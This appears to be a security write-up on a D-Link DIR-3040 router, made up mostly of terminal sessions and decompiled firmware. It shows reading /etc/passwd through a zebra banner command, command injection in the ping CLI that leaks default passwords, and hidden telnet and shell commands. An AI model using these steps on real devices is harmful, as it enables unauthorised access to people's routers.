D-Link DIR 3040 从信息泄露到 RCE

# oneshell @ UbuntuDev in ~ [23:44:30] C:130$ nmap -Pn X.X.X.X
Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDTNmap scan report for XXX.XXX.com (X.X.X.X)Host is up (0.28s latency).Not shown: 995 filtered portsPORT     STATE SERVICE23/tcp   open  telnet53/tcp   open  domain80/tcp   open  http443/tcp  open  https2602/tcp open  ripd

# oneshell @ UbuntuDev in ~ [23:42:09] C:1$ telnet X.X.X.X 2601Trying X.X.X.X...Connected to X.X.X.X.Escape character is '^]'.          ___           ___           ___         /__/         /  /         /  /        __ :       /  /::       /  /:/_       /__/ :     /  /:/:     /  /:/ /      __ : :   /  /:/~/:/    /  /:/ /::     /__/ : : /__/:/ /:/___ /__/:/ /:/:       : :/:/   :/:::::/   :/:/~/:/        : ::/     ::/~~~~     ::/ /:/         :/:/       :        __/ /:/          ::/         :         /__/:/         __/         __/         __/ ----------------------------------------------------- BARRIER BREAKER (%C, %R) -----------------------------------------------------  * 1/2 oz Galliano         Pour all ingredients into  * 4 oz cold Coffee        an irish coffee mug filled  * 1 1/2 oz Dark Rum       with crushed ice. Stir.  * 2 tsp. Creme de Cacao -----------------------------------------------------
User Access Verification
Password:Router> enablePassword:Router# configure terminalRouter(config)# banner motd file /etc/passwdRouter(config)# exitRouter# exitConnection closed by foreign host.

# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1$ telnet X.X.X.XTrying X.X.X.X...Connected to X.X.X.X.Escape character is '^]'.D-Link login: adminPassword:libcli test environmentrouter> helpCommands available:  help                 Show available commands  quit                 Disconnect  history              Show a list of previously run commands  protest              protest cmd  iwpriv               iwpriv cmd  ifconfig             ifconfig cmd  iwconfig             iwconfig cmd  reboot               reboot cmd  brctl                brctl cmd  ated                 ated cmd  ping                 ping cmdrouter> ping -c 1 8.8.8.8.;uname -aping: bad address '8.8.8.8.'Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux

router> ping -c -1 8.8.8.8;cat /tmp/zebra.confping: invalid number '-1'hostname Routerpassword zebraenable password zebra

.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1.data:0006D608                                          # DATA XREF: LOAD:00003AC0↑o.data:0006D608                                          # cmd_init+708↑o ....data:0006D608                                          # "banner motd file [FILE]".data:0006D60C                 .word sub_1509C.data:0006D610                 .word aSetBannerBanne    # "Set bannernBanner for motdnBanner fro"....data:0006D614                 .align 4.data:0006D620                 .globl no_config_log_timestamp_precision_cmd

install_element(5, (int)&banner_motd_file_cmd);

install_element (enum node_type ntype, struct cmd_element *cmd){  struct cmd_node *cnode;
  cnode = vector_slot (cmdvec, ntype);
  if (cnode == NULL)     {      fprintf (stderr, "Command node %d doesn't exist, please check itn",           ntype);      exit (1);    }
  vector_set (cnode->cmd_vector, cmd);
  cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);  cmd->cmdsize = cmd_cmdsize (cmd->strvec);}struct cmd_element {  char *string;            /* Command specification by string. */  int (*func) (struct cmd_element *, struct vty *, int, char **);  char *doc;            /* Documentation of this command. */  int daemon;                   /* Daemon to which this command belong. */  vector strvec;        /* Pointing out each description vector. */  int cmdsize;            /* Command index count. */  char *config;            /* Configuration string */  vector subconfig;        /* Sub configuration string */};

int sub_1509c(struct cmd_element *, struct vty *, int, char **);

if ( strstr(v13, "/start_telnet") ){  log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);  system("telnetd -b 0.0.0.0");}

cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");

struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,                                         int (*callback)(struct cli_def *, const char *, char **, int), int privilege,                                         int mode, const char *help)